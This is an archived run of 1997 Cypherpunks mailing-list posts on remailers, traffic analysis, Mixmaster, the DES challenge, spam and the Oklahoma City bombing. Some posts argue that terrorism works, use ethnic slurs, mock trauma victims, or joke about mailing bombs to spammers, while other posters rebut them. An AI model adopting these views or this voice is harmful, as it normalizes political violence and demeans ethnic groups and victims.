>> section of the "Guidelines for Safe and Efficient Use":
>[snip]
>>    o Use of profane, indecent, or obscene language while using your
>>      phone.
>> Joy. More laws to break.
>
>I believe this has been true about your regular phone line for years as
>well.  It's unenforceable, and as a practical matter the FCC isn't going
>to care, *EVER* about it.

I notice that a *lot* of just such "unenforceable and they don't really
care" things got added to the laundry list of thought crimes in Jim Bell's
case.

Lots of laws ensure that citizen-units are always guilty of something.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:27:02 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <v03102815afbb4f28e58c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:06 AM -0700 6/4/97, Lucky Green wrote:
>At 06:27 PM 6/3/97 -0700, Tim May wrote:
>>(There are important issues, discussed by several of us several years ago,
>>and more recently by Wei Dai and Lucky Green, dealing with correlation
>>analysis of messages sent and messages received...esentially pattern
>>analysis.
>
>This type of analysis is unlikely to provide useful results for
>high-latency systems such as remailers. However, this analysis can be very
>fruitful on near real time systems such as ill-designed chained http
>anonymizers.
>
>[Tim of course knows this, I just want to make sure that this is
>universally understood.]

Agreed, but there remains a risk even for conventional remailer uses. It
all depends on latencies, numbers of messages, etc.

Let us imagine Lucky and I are corresponding through a remailer network.
Imagine the average latency, in total, is 2 hours. (Not unreasonable.)

The kind of pattern analysis I'm talking about would look for "digrams"
between my sending a message and Lucky receiving one.

--Tim sends a message, a couple of hours later Lucky gets one.

--then nothing, and Lucky gets nothing for several hours or more

--Lucky sends a message and a couple of hours later Tim gets one

--then nothing for several hours or more

--Tim sends one, Lucky gets one a couple of hours later

It all depends on:

- how many other messages are being received by Lucky and Tim (PGP messages
arriving from remailers, obviously, not just ordinary traffic, though
ordinary traffic helps a bit)

- the latencies, the longer the better (related to the above number)

What I am picturing is a scatter plot of transmissions and receptions. I
think an adversary with access to the sends and receives, even if encrypted
(of course) could make some plausible deductions.

He could certainly rule out some message pairs, e.g., Tim sends a message,
but no message is received by, say, Perry. Or Perry sends a message, but
this is not followed within statistically expected periods by messages
received by, say, Duncan.

So the "Tim-Lucky" digram might be "0. 6" and the "Tim-Perry" digram might
be "0.003" and this would be useful in implicating likely comunicants.
Throw in the reverse paths, e.g., the "Lucky-Tim" digram and the
correlations could become quite strong.

(Closely related of course to traffic analysis in general.)

As we have been saying for years, there's a nice MS thesis in this for someone.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:38:42 +0800
To: cypherpunks@Algebra.COM
Subject: Hyper-Sensitive Traumatized Rescue Workers...gimme a break
In-Reply-To: <19970603165035.36961@bywater.songbird.com>
Message-ID: <v03102816afbb529cb52e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:15 PM -0700 6/3/97, Bill Frantz wrote:
>At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>>Contrast ["milita violence"] with the brilliance of the anarchist
>>Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>>acts were calculated to call forth popular support.

I enjoyed "The Monkey Wrench Gang" immensely, but I'm not convinced Abbey
captured the popular sentiment very well. Blowing up the dam they planned
to hit would have doubtless produced the same maudlin images we see of OKC
victims.  Dead babies washed up in the debris along the Colorado River and
all. CNN would love it.

>This is an important point.  When you kill people, you make implacable
>enemies.  Consider the SF Bay area rescue team that is still trying to

^^^^^^^^^^^^
>learn how to live with the memory of the mangled bodies they found Oklahoma
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>City.  They hate the person(s) responsible for the bombing and they did not
>even have relatives killed there.

To cement my politically incorrect images, I think it clear that most of
these so-called "traumatized" teams are made more traumatized by all the
mental health care professionals and Marin County social workers _telling
them_ they should be traumatized! "Grief counseling" is a big business.

Surely what they saw at OKC, person for person, was not substantially
different from what they saw prying squashed bodies out of the freeway
collapse in Oakland? Or of what rescue workers have seen in refinery
explosions, mine collapses, dam busts (there goes that monkey wrench gang
again), floods, fires, and countless war experiences.

But it makes for a nice piece on CNN to interview the traumatized rescue
worker and ask him much longer his "grief disability" insurance will last.

I don't mean to "hurt their feelings" (as if any of them are reading the
Cypherpunks list!!!) but enough is enough. They shouldn't be in rescue work
if a building collapse is going to freak them out so much.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 02:06:44 +0800
To: cypherpunks@Algebra.COM
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03007825afbaa5a5f3c3@[207.94.249.152]>
Message-ID: <v03102818afbb58470a20@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>> >Contrast ["milita violence"] with the brilliance of the anarchist
>> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>> >acts were calculated to call forth popular support.
><snip>
>> If you at least avoid killing people, then you have fewer bitter enemies
>> and a better chance of holding on to your winnings.  The examples of
>> Gandhi, King, and Mandala come to mind.  Contrast their success with the
>> results of the violence approach as exemplified by the generations old wars
>> in Ireland and Israel.
>
>You left out Sea Shepard, who sank the entire Icelandic whaling fleet
>(with zero casualties) on night. Earth First!, Greenpeace, and other
>somewhat-less-direct action groups have used "terrorist" means and
>achieved enourmous popular support.

I don't want to start "defending terrorism," esp. of the murderous sort,
but the plain fact for anyone to see is that terrorism often _does_ work.

Look at Palestine/Israel/the Zionist Insect/whatever.

Had the Palestinians calmly filed petitions to get the land back that was
seized by European Jews after the Second World War--the Brits often
referred to Palestinians and Arabs as "sand niggers"--would any land ever
have been transferred back?

(Zionists will probably jump in here citing the various wars which
triggered various land ownership changes, a la Gaza, the West Bank, parts
of Jerusalem, the Golan Heights, etc. We cannot generally argue "alternate
histories," though.)

It seems obvious that 40 years of "terrorist" (freedom fighting?) attacks
by "radical" Palestinian groups had a lot to do with Israeli voters and
government deciding enough was enough and agreeing to limited
self-government, etc.

(The whole area and political scene is notoriously complicated. I've never
been there, I'm not a Jew, nor am I a sand nigger, etc. I can't say whether
the political scene would have been resolved better or more peacably had
terrorism not occurred, but my strong suspicion is that the Palestinians
would still be filing their petitions and being given the bureaucratic
runaround had they never started blowing things up.)

Terrorism is also what the American colonists did to British soldiers.
Ambushing them from the trees was not a kosher form of attack (no pun
intended), nor was attacking their barracks at night. (Sounds like blowing
up the Americans in Beirut, doesn't it?)

(In fact, the act of terrorism against the 242 Marines in Beirut in 1983
"worked," didn't it? The Americans were on their way out within weeks.)

Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes,
yes to all of the denunciations of terrorism. But the fact is that all war
is a kind of terrorism, and all wars and all struggles have resulted in
deaths of innocents.

(Intereting that Bell is so widely condemned for wanting to transfer the
burden to the actual guilty parties, and not the innocents usually consumed
as fuel in wars.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Thu, 5 Jun 1997 02:25:32 +0800
To: "cypherpunks@toad.com>
Subject: RE: McVeigh? Nimrods.....
Message-ID: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



<rant>

Okay folks...what the hell is wrong with you? First off, this whole McVeigh 
Crap is a bit off topic..but we all know this. The amazing thing about the 
string of posts has been that people have forgotten that He has been found 
guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of 
his peers, dare I say, people like us all. Randomly selected. This is how 
our system works.

Yes there are flaws in the system.

Yes the US govt. has it's problems in the past, present and future.

Yes people have died because schnooks in DC have had thier heads up thier 
ass. Or not.

So whether or not you belive he did it.....how can anyone be _for_ what 
_happened_. People died senselessly, I can't believe that anyone (in this 
case Duncan Frissell frissell@panix.com, lets give credit where it is due) 
can be so callous and , frankly, sick , to say :

<>
As to the Children of OKC, people who turn the care of their children over 
to
government employees or contractors do not place too high a value on those
children.
<>

Are you serious? You should be ashamed that you think this way. Do you 
really
think those children who died weren't cared for? You are a sick person who
should seriously consider therapy. Anyone who read this and said "Yeah!" 
 is
on the same plane.

To all the people who defend blowing shit and people up to get thier point 
across....

Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does 
the
PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh 
did it.
But that doesn't make blowing up children in freakin' day care all right. 
Do you
understand this? There is no reason to blow up kids. It's wrong. For any 
reason.
Bad. Duncan...looking over your past posts.. .I've got to wonder if you 
were on acid
when you wrote this, many of your posts were fairly cozigent. But this? Do 
you have
children? Any  cousins who are children? A nephew or neice? Do these 
children
who may be important to you have parents who "care" about them enough to
scour the planet to find a good,safe day care that isn't withing the blast 
radius or
shooting range of :

A government office.
A large corporations headquarters.
A law firm.
A post office.
A town square.
A restaurant.
A bank.
Anywhere some asshole might have a gun and go loopy.
Anywhere some asshole might have a car be drunk and go loopy.
Anywhere some asshole might have a gun and a car and be drunk and go loopy. 

If they even could, I'm someone somewhere will find a way to fuck up that 
safe place.

You get the point, I could go on....but I won't.  Perhaps you should think 
and read
over your posts before you post again. The only good thing (and I mean 
ONLY) to
come out of the whole Mcveigh thing being discussed here on cypherpunks, is
that it has allowed me to add to my killfiles people who have for some 
reason,
had a prefrontal.

To all the dipshits who could possibly think otherwise. I should also 
mention it
is an EQUALLY fucked up thing to blow up adults.

Like my fellow Santa Clara County Resident Bill Frantz said :

For cypherpunks this comes down to: Make code, not bombs.

	Chris DiBona

</rant>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 02:28:01 +0800
To: cypherpunks@Algebra.COM
Subject: Cybernetic money laundering
Message-ID: <v03102800afbb60838612@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Hey, we've been saying this for years. It appears the experts now admit we
were right.

The difference is that what they _worry_ about, we _embrace_.

--Tim


Wednesday June 4 10:07 AM EDT

Internet could help crime syndicates launder money

By Richard Waddington

LISBON - Big crime syndicates could soon be using the Internet to launder
dirty money and there might not be much authorities can do
about it, an international conference was told on Tuesday.

The international web, which already allows clients to shop and sell around
the globe, could become the perfect medium for the cocaine
barons of Colombia or the Mafia gangs of Sicily to make their ill-gotten
wealth respectable.

International police are already having a hard time keeping up with the
sophisticated maneuvers of criminals and fraudsters as they switch
funds from country to country, often making use of lax banking regulations.

But with the Internet and the coming introduction of electronic cash,
so-called E-cash, the authorities could lose what has been one of their
only advantages -- the need for criminal gangs to handle and at some stage
deposit big quantities of cash.
.....
E-cash could take the place of physical money in the same way that E-mail
has replaced the posting of letters. Huge sums could be
switched from person to person without the need to pass through any form of
banking system, experts said.

....

Backhouse said that experiments with E-cash, or digital banking, were
already being carried out in around 25 countries and the system
could become commonplace within five years or so.

"What is only a little trickle at the moment will become a roaring
torrent," he told Reuters.

But the ability to switch faceless funds effortlessly around the world was
not the only danger posed by the revolution under way in
international communications, experts said.

Organized crime could use the Internet to set up web-based companies
offering services of all types to act as vehicles for "washing" their
funds.

"The Internet is an ideal medium. It will be difficult to prove that such
companies and transactions are false," said Maclachlan.

Crime gangs could even go so far as to set up their own banking services as
accounts can be established with Internet banks using no
more than a photocopy of a driving license as proof of identity, experts said.

Global by nature, the network could be particularly difficult to police
because of the tricky question of territoriality. Which country has
responsibility when a bank can be based only in electronic space?

Copyright, Reuters Ltd. All rights reserved






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fred B. Ringel" <fredr@joshua.rivertown.net> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 5 Jun 1997 00:02:12 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available (fwd)
Message-ID: <3.0.2.32.19970604112443.007c4520@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all-

	No warranties or representations regarding this announcement,
however I thought some on the list might find this of interest. I'm putting
mine together right now.

	Fred

---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 03:25:08 +0200 (MET DST)
From: Name Withheld by Request <nobody@replay.com>
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available

This is to announce the release of Mixmaster 2.0.4 beta.

  Mixmaster is a new class of anonymous remailers. Inspired by the
  existing "cypherpunk" remailers and discussions on the Cypherpunk
  mailing list, Mixmaster is the next generation in the evolution of
  remailer technology.

Mixmaster is available from:

ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz

What's new?
- several bug fixes.
- "middle only" remailer.
- messages compression.
- support for /dev/random.
- rudimentary support for the list of reliable Mixmaster remailers.
- new installation script.
- can be compiled under DOS/Windows.

Mixmaster is (C) by Lance Cottrell <loki@infonex.com>.
This release was made by Ulf Möller <um@idril.shnet.org>.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 02:59:46 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040457.AAA12535@muesli.ai.mit.edu>
Message-ID: <Pine.GSO.3.96.970604112313.13859B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Hallam-Baker wrote:

> I really can't get excited about US domestic policy. That is not where the
> crypto is needed. 

Arguable point.  Depends on if you fear getting busted because of which
causes you support.  For many that is a serious issue.

> Eve so if you hypothesise the extent of surveillance such that mixmaster
> remaillers are needed the constitution was thrown out long ago.

And your point being...?  The consititution is a document that is followed
only when it suits the purposes of those in power.  If it was not for the
factional infighting of the various branches of power, we would have no
rights left at all.

> Now this happened under Hoover and the FBI still have their headquarters
> named after him.

That is for three reasons:

1) Many in the FBI get off on that kind of power and see nothing wrong
with it.  (As long as they are the ones doing the survelence.  Try doing
it to them and see what happens...)

2) It is on all their stationary.

3) It is carved in stone on the building. 

> I'm having great difficulty making sense of the finely calibrated level of
> paranoia which makes mixmaster both effective and necessary.

Unfortunatly for mixmaster to work effectivly, you need a threshold of
usage.  That threshold has not been reached yet.  With the successful
campaign against remailers by those who oppose them, the problem is made
worse.  (As well as supporting a form of encryption not commonly available
to "Joe Sixpack".)  Currently, use of the Mixmaster remailer system is out
of reach of most of the average users out there.  The only serious project
to address that need has been Private Idaho and development has stopped on
that project.

> On the other hand it strikes me that if we could work out a better version
> of Julf's pi.net remailer there would be a considerable benefit to the net.

Julf's remailer was more of a nym server than a remailer.  A remailer
gives a one way path, a nymserver gives a path back for replies.
Currently the nymserver network is in pretty bad shape as well.  They are
difficult to use and are dependant on the whims of the remailer network.
(If one element in the chain of remailers goes down, you are screwed until
you can reset things.)  They also have people who would like to see them
shut down because they do not like the uses to which they are put.
(Spreading ideas that are illegal, immoral, and/or fattening.)

An easy to use nymserver would be a "Good Thing(tm)".  I believe it to be
possible, it just needs better ways of surviving the rubber hose attacks
such things come under from time to time.

Do you have a design that needs implementing?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 5 Jun 1997 00:33:07 +0800
To: cypherpunks@toad.com
Subject: DES [Was: Re: Webpage picketing?...]
Message-ID: <199706041540.IAA14829@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



(maybe) TruthMonger (maybe not) wrote:
>[lots of editing]
>   I used Peter Trei and others' software for the DES Challenge,
> but I posted a suggestion to the list that perhaps their programs
> contained subterfuge designed to thwart others in their attempts
> to find the secret keys. Was I spreading FUD? The responses to
> my post gave me much more information about the processes behind
> the software than any direct inquiries I had made about their
> workings. (And they reinforced the fact that "blind trust" in
> their programs or anyone else's is foolish.)
 
>   I could put a pointer to Peter's software which opens an
> adjoining window which warns that it may be compromised as a
> result of ulterior motives. The fact is, however, that Peter
> might himself put a disclaimer on his page saying, "If you
> can't read code, then you can't be certain of what my software
> is doing." (As a matter of fact, I believe his documentation
> mentions that there is no guarantee his logic is not in error.)

TM:
    Yes, you were spreading FUD, of a particularly stupid kind.

    I've always distributed my DES cracking software with full 
source code, as well as a compilied Wintel version. Anyone 
who wants to can examine the source and compile it independently 
if they worry about a mismatch between the source and the 
included binary. 

    Sven Mikkelsen (http://inet.uni-c.dk/~svolaf/des.htm) has 
now published full source for BrydDES was well. It runs faster 
than my code, but is only for x86 (mine includes generic 'C').

    If you want to participate in a coordinated attack, and don't
mind using a binary-only client, see. 
http://www.frii.com/~rcv/deschall.htm. This effort claims to have
already searched 15% of the keyspace.

    For overall info on the DES challenge, see
http://www.eskimo.com/~joelm/des.html

Peter Trei
trei@process.com 

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 03:34:50 +0800
To: cypherpunks@toad.com
Subject: Password pirates plunder XXX sites, from The Netly News
Message-ID: <Pine.GSO.3.95.970604120106.20770H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[We include links to sites with porn passwords in today's story, BTW. 
--Declan]

*******

http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html

The Netly News Network (http://netlynews.com/)
June 4, 1997

Porn Free
by Chris Stamper and Greg Lindsay (thenetlynews@pathfinder.com)
  
        Sexfilms.com used to be a small, members-only adult site
   that shipped full-frame videos over a super-fast T-3 line. Traffic on
   the site was comfortably low for about a year, owner Ray Alba says,
   until one name -- "Joe Camaro" -- started appearing with some
   frequency. Actually, it started appearing 500 times a minute. From
   Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody
   was passing out the password.
   
        Download speeds faltered, from 300K/sec to 6K/sec. And then the
   servers themselves began to crash. Finally, Alba had to shut down the
   site for several weeks to clear out Camaro and numerous other accounts
   that had leaked out to the Net. Alba was the latest victim of... Porn
   Piratz!
   
        A huge number of passwords to pay-only porn sites are loose on
   the Net. Just surf newsgroups like alt.sex.passwords or do a simple
   search through a typical web engine and long lists of logins are easy
   to find. Some of these logins are giveaways from people who ponied up
   the low, one-time-only flat fees that many sites charge. Others,
   apparently, were obtained with phony credit card numbers. Who knows
   how Porn Piratz get the rest. But they do: A Hustler executive told us
   that Hustler's sites have seven times its paid membership logging on
   every day.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: User Name <user@rand.org>
Date: Thu, 5 Jun 1997 04:04:25 +0800
To: hackers@freebsd.org
Subject: nude gifs plz
Message-ID: <3395BE29.871@rand.org>
MIME-Version: 1.0
Content-Type: text/plain



plz sends da gifz of naked chicks!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 01:07:21 +0800
To: Mike Duvos <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <33959602.41C6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:

> No government can afford to behave in a way that outrages large numbers of
> citizen-units, and provokes action on the part of the less mentally stable
> ones.  Janet Reno sealed the fate of the federal building on the day that
> she took action which resulted in numerous children being incinerated,
> just so she could win a dicksizing contest with a religious extremist.

Crap.

The kids were murdered by Koresh who had the compound set alight.
I've gone over the videos we made live off CNN. There is absolutely 
no doubt that the fire started in multiple places.

If you are going to mouth off conspiracy theories at least make
them credible.

If a group of people shoot anyone approaching them for any reason
whatsoever the police have an absolute need to investigate. There
was nothing else the authorities could have done except prevent
Koresh from accumulating the arms in the first place.

The FBI bungled the seige baddly but thats why Freeh is currently
in charge of the FBI.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 04:05:49 +0800
To: Hallam-Baker <mccoy@hesiod.communities.com
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102811afba9fb5ad1c@[207.167.93.63]>
Message-ID: <v03102802afbb6fa5d6b4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On the other hand it strikes me that if we could work out a better version
>of Julf's pi.net remailer there would be a considerable benefit to the net.

At FC '97 Jim McCoy gave a presentation on a significant upgrade to
anonymizer-type remailers.  At the time Jim said is was only a few months
from a testable system.  I haven't heard anything since then.  Perhaps
Lucky knows or Jim will chime in.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 01:17:43 +0800
To: Paul Bradley <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706030603.CAA22498@dhp.com>
Message-ID: <33959B0B.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > Hallam-Baker, realizing he is a soft target, wrote:

> I would say that the visible and government-vilified militia groups have
> been damaged by this, because of the killing of innocents. Where is the
> second AP bot, I know about the one at sympatico.......

I find it very hard to credit people as being opposed to
censorship when they make thinly veiled threats of murder
when people post things they don't like.

This is the type of censorship that the IRA uses in NI,
Catholics who join organisations opposed to the IRA get
death threats and threats of punishment beatings. When 
the parents of the five year old murdered by an IRA bomb
placed in a rubish bin outside a McDonalds announced
a US speaking tour the IRA threatened to murder them.

Murdering your opponents for what they say is censorship. 

Bell's Murder Politics scheme was a censorship scheme.

The fact that Miltia sympathisers condone censorship 
through murder while fulminating at censorship by
governement does not surprise me in the least. i can
guess that someone will try to redefine censorship to
exclude death threats.

It is precisely beause of this type of behaviour that
people consider the militias and their sympathisers to
be fascist in nature and a threat to the values they
claim to defend.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 03:59:06 +0800
To: cypherpunks@toad.com
Subject: Spam costs and questions
Message-ID: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



A friend who's going to be speaking on one of the FTC panels next week
sent me a few questions about spam. Does anyone want to try their hand at
answering them? I'll forward along all responses I get.

	What are the costs to consumers of
	unsolicited e-mail?  I guess the time it
	takes to delete it might be one, hard
	drive space might be another.  I would
	like to know how to quantify it, and
	compare it with the cost of sending
	e-mail.

	If you banned commercial e-mail,
	wouldn't it just affect legitimate
	commercial transactions?  That is to say,
	wouldn't fly-by-night pyramid-scheme
	builders still be able to spam?  I would
	think that if they are so untraceable
	that it's hard to block their spam that
	it wouldn't really matter if it were
	simply made illegal.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Thu, 5 Jun 1997 01:53:30 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706041720.KAA01490@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@netcom.com> wrote:

>At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
>>Appologists for McVeigh should consider that his actions did not 
>>advance the militia cause an iota, it destroyed it and along with 
>>it much of the right wing fringe.
>
>"Follow the money" is usually sound advice. More general, ask "who
>benefits". Clearly, the constitutional militias and civil libertarians are
>the losers of the Oklahoma bombing. The sole benefactors are the statists
>and numerous government agencies.
>
>'Nuff said,

Amen, Lucky. Perhaps it hasn't been pointed out often enough here,
but this man spent YEARS in the US military, including a very brutal
(if short) war. From all accounts, he attended exactly ONE Michigan
militia meeting, and they kicked him out when they heard his violent
rantings before the meeting was even over. There are no reports of
him attending ANY other militia meetings.

Is it only me, or could the phenomenon of militias being painted into
(alleged) responsibility for this terrorist act not have happened in
the absence of virulent anti-second-amendment-rights bias in the
media? I thought so.
me











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 5 Jun 1997 01:45:55 +0800
To: Seth Finkelstein <cypherpunks@Algebra.COM
Subject: Re: What Cultural Monopoly?
In-Reply-To: <3.0.2.32.19970604062506.03bc0cd0@panix.com>
Message-ID: <3.0.2.32.19970604133401.035f34dc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>	If even you are red-baiting me now, it's time to pack it in.
>I've lost. There must be easier ways to spend my time, like taking up
>persuading mules as a hobby. Time for another vacation from the list.

Don't go Seth.  We need you.

>	The point was using real-Communist as a test of availability
>(I keep saying real-Communist to ward off the stupid comments like
>someone saying "Mario Cuomo").

Gerald Posner had a TV chat show for a while with Marlo Thomas' husband.  I 
don't think he's on any more but he is a genuine commie.

Have you tried your local Pacifica affiliate in Cambridge WMBR 88.1 FM.  Here 
in New York we are blessed with genuine Marxists on WBAI an actual Pacifica 
station:

http://www.pacifica.org

"The stations of Pacifica Radio include KPFA Berkeley, KPFK Los Angeles, WBAI 
New York, KPFT Houston, and WPFW Washington, D.C. as well as 43 affiliate 
stations."

We also have genuine Marxists on WLIB (a *commercial* station):

http://www.wlib.com 

"WLIB 1190AM is the soul of New York's Black Community. It is the collective 
mind and experience of a people. It is the spirit and hope of the race. WLIB 
is the very heart of African American, Caribbean and African Culture, 
representing millions of residents in the New York, New Jersey, and 
Connecticut metropolitan areas."

>	But despites the "thousands of stations where you can hear
>lots of different people", as Lizards said, the spectrum is fairly narrow.

That was then this is now.  As soon as we can muscle the FCC out of the 
picture and throw open the whole spectrum to efficient modern utilization and 
as soon as we deploy ADSL, Cable Modems, etc for high bandwidth net access
and 
get good audio and video netcasting opportunities, there will be plenty of 
room for all sorts of ideas and the diversity of people's *interests* will 
guarantee that the whole spectrum of ideas has a place.

>	Note as *effective* (not theoretical) audience goes up,
>ideological span goes *way* down. This has bad implications for the
>evolution of the Net.

Since anyone will still be able to put up any kind of a website, the span
will 
be just as wide now or wider than ever in the future.  As it is now than in 
the past.

That's what happened with books.  Today, it is easier to obtain a wider range 
of books than ever before.

>	Straight from the source, the things that will be expressed
>are that which make the radio station owners rich. He said it, I
>didn't. That's not the same at all as that which people would want to
>hear, even for obvious reasons as marketing pressures to more wealthly
>audiences. 

That's under the current economic model.  Even today, had frequencies been 
allowed to be traded freely from the beginning, we would have more diversity 
because we would have more stations.

>Trying to pound even these tiny insights through the yammer
>noise is just taking too much energy.

I know what you mean, Seth.

I'm still trying to get you guys to name some actual person in the U.S. that 
lives in a smaller or less diverse media environment than a person similarly 
situated would have lived in before.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 04:52:41 +0800
To: Declan McCullagh <declan@well.com>
Subject: [Tangent] Spam and the Unibomber
In-Reply-To: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
Message-ID: <Pine.GSO.3.96.970604132328.8869A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Declan McCullagh wrote:

> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

This reminded me of a thought I had this morning...

If the Unibomber had actually wanted to improve his reputation capitol, he
should have gane about things differently.

Instead of going after college professors and the like (which only appeals
to MUDers and other people failing thair classes) he should have taken on
a different group.

If he had issued out a Make Money Fast pyramid scheme with his PO box as
one of the addresses and then sent bombs to those who responded, he would
have been the hero to millions.  By eliminating would-be spammers from the
downline of life, he would have been the savior to millions.  he would
have web pages in his honor.  He would have bumper stickers with such
slogans as "SPAM = DEATH" made in his honor.

But he blew it...

